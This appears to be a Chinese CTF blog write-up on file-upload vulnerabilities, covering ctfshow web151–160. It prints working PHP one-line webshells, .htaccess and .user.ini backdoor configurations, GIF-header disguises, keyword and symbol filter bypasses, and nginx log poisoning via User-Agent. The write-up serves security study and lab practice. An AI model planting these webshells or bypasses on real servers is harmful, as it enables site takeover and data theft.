【CTF】文件上傳(知識(shí)點(diǎn)+例題)(1)
文件上傳
在上傳文件時(shí),服務(wù)端代碼沒有對(duì)客戶端上傳的文件進(jìn)行嚴(yán)格的驗(yàn)證和過濾,就容易造成可以上傳任意文件的情況,包括上傳腳本文件(asp、aspx、php、jsp等格式的文件)
非法用戶可以利用上傳的惡意腳本控制整個(gè)網(wǎng)站,甚至控制服務(wù)器。這個(gè)惡意的腳本文件,又被稱為Webshell,也可講Webshell腳本稱作一種網(wǎng)頁后門,Webshell腳本具有非常強(qiáng)大的功能,比如查看服務(wù)器目錄、服務(wù)器中的文件,執(zhí)行系統(tǒng)命令等。
php一句話木馬:
<?php @eval($_REQUEST['cmd']);?>
一、前端校驗(yàn)
有的站點(diǎn)會(huì)出現(xiàn)僅進(jìn)行了前端校驗(yàn)的情況(一切在前端做的安全防護(hù),都是耍流氓),由于前端頁面的源碼是我們可以隨意更改的,因此可以通過找到進(jìn)行過濾的指令,更改成我們想要的功能即可。
ctfshow-web151:
查看上傳圖片按鈕的源碼,可以看到它僅支持png格式的文件
可設(shè)想兩種做法:
1、更改前端代碼,將exts后的png更改為php,也就是說使其僅能上傳php格式文件,即可完成上傳。
2、上傳一個(gè)png格式文件,使用burp抓取上傳數(shù)據(jù)包,在數(shù)據(jù)包內(nèi)更改文件格式與內(nèi)容。
此處再將png格式更改為php即可
成功上傳后,只需訪問木馬文件路徑,執(zhí)行所需的指令即可
ctfshow-web152:
使用web151方法二同樣解法
二、利用.htaccess和.user.ini上傳
這里的內(nèi)容在我之前的一篇博客中有講到
.htaccess后門
.htaccess文件(分布式配置文件),提供了針對(duì)目錄改變配置的方法,即在一個(gè)特定的文檔目錄中放置一個(gè)包含一個(gè)或多個(gè)指令的文件,以作用于此目錄及所有子目錄。
.htaccess是Apache服務(wù)器的分布式配置文件的默認(rèn)名稱,換言之是個(gè)配置文件。當(dāng)一個(gè).htaccess文件放置在一個(gè)“通過Apache Web服務(wù)器加載”的目錄中時(shí),.htaccess文件會(huì)被Apache Web服務(wù)器軟件檢測并執(zhí)行。
在一些黑名單過濾的情況下,若沒有過濾.htaccess文件,即可通過創(chuàng)建.htaccess文件,來改寫一些配置,從而達(dá)到上傳后門的目的。
# .htaccess
<FilesMatch "1.png">
SetHandler application/x-http-php
</FilesMatch>
# 作用:將名為1.png的文件當(dāng)作php類型的文件來進(jìn)行執(zhí)行
假設(shè)接下來就可以上傳一個(gè)名為1.png的木馬文件,植入后門,將其上傳后,該文件雖文件后綴名為png,但會(huì)被當(dāng)作php類型的文件進(jìn)行解析,其中的一句話木馬也能夠被正常執(zhí)行。
# 1.png (一句話木馬)
<?php @eval($_POST['cmd']);?>
.user.ini后門
php.ini是php的一個(gè)全局配置文件,對(duì)整個(gè)Web服務(wù)起作用,而.user.ini就是用戶自定義的一個(gè)php.ini,可以利用它來構(gòu)造后門。.user.ini利用范圍很廣,不僅限于Apache服務(wù)器,還適用于Nginx服務(wù)器。當(dāng)訪問一個(gè).php目錄時(shí),若當(dāng)前目錄下存在.user.ini文件,則會(huì)執(zhí)行該配置文件中的內(nèi)容。
使用:通過配置之前提到的auto_prepend_file或auto_append_file來自動(dòng)包含指定文件,類似于在文件前調(diào)用了include()或require()函數(shù),并且要知道,在php中,被包含的文件內(nèi)容是在<?php?>體內(nèi)部的,因此被包含的所有文件,無論是何種格式,都會(huì)被按照php文件進(jìn)行解析。
# .user.ini
auto_prepend_file=1.png
# 1.png
GIF89a
<?php eval($_POST['cmd']);?>
因此,通過使用.user.ini,我們可以任意指定包含一個(gè)文件,這個(gè)文件可以是我們自己上傳的木馬文件,從而通過該木馬文件提供后門來獲取當(dāng)前服務(wù)器的webshell。
ctfshow-web153:
無法上傳php格式的文件,使用上述方法,上傳.user.ini再訪問./upload/index.php即可利用上傳的木馬文件
三、過濾關(guān)鍵字之php
當(dāng)對(duì)文件內(nèi)容里的php進(jìn)行了過濾時(shí),可以采用php短標(biāo)簽來繞過
#常規(guī)標(biāo)簽
<?php ?>
#php短標(biāo)簽
<?= >
ctfshow-web154、155:
上傳之前的一句話木馬文件,發(fā)現(xiàn)顯示不合規(guī),經(jīng)過幾次測試,發(fā)現(xiàn)過濾了關(guān)鍵字php,于是可以使用php短標(biāo)簽進(jìn)行繞過,然后再和web153一樣上傳.user.ini即可
四、過濾一系列符號(hào)
1、過濾“[]”
當(dāng)方括號(hào)被過濾,我們可以考慮直接執(zhí)行system函數(shù)來獲取flag
ctfshow-web156:
此時(shí)通過測試發(fā)現(xiàn),方括號(hào)被過濾,文件內(nèi)容中含有方括號(hào)無法正常上傳,那么直接使用語句
system('cat ../f*');
除了直接使用system以外,還可以使用{}來代替[],上傳以下一句話木馬同樣可以實(shí)現(xiàn)
<?=eval($_REQUEST{'cmd'});?>
2、過濾“;”
ctfshow-web157:
這一題在156的基礎(chǔ)上過濾了分號(hào)(??,將分號(hào)去掉同樣可以
<?= system('cat ../fl*')?>
ctfshow-web158:
與web157相同
3、過濾"()"
當(dāng)()被過濾,在php中,在反引號(hào)中括起來的內(nèi)容,表示執(zhí)行的是系統(tǒng)命令
例如:
system('ls') 與 `ls`功能相同
ctfshow-web159:
在經(jīng)過測試時(shí),發(fā)現(xiàn)本題過濾了括號(hào)(),那么此時(shí)之前使用的system()與eval()都無法繼續(xù)使用了,此時(shí)就可以使用反引號(hào)來執(zhí)行系統(tǒng)目錄
五、日志注入
一般nginx的日志路徑默認(rèn)為
/var/log/nginx
ctfshow-web160:
此時(shí)我們可以先使用include函數(shù)包含日志來查看日志的內(nèi)容,并且發(fā)現(xiàn),關(guān)鍵字log被過濾,因此可以使用字符串的拼接,payload如下:
GIF89a
<?=include"/var/l"."og/nginx/access.lo"."g"?>
包含出日志文件后,查看日志內(nèi)容,發(fā)現(xiàn)access.log中記錄的是User-Agent頭內(nèi)的信息
此時(shí)就可以考慮將木馬語句寫入到日志內(nèi),然后使用include進(jìn)行包含執(zhí)行
隨后即可在讀取的日志內(nèi)容中查看源代碼進(jìn)而得到flag
本題還有另一種方法,由于使用到了include函數(shù),因此我們也可以使用filter偽協(xié)議來進(jìn)行指定文件的讀取:
文章來源:http://www.zghlxwxcb.cn/news/detail-468566.html
隨后將得到的結(jié)果進(jìn)行base64解碼即可得到flag文章來源地址http://www.zghlxwxcb.cn/news/detail-468566.html
到了這里,關(guān)于【CTF】文件上傳(知識(shí)點(diǎn)+例題)(1)的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!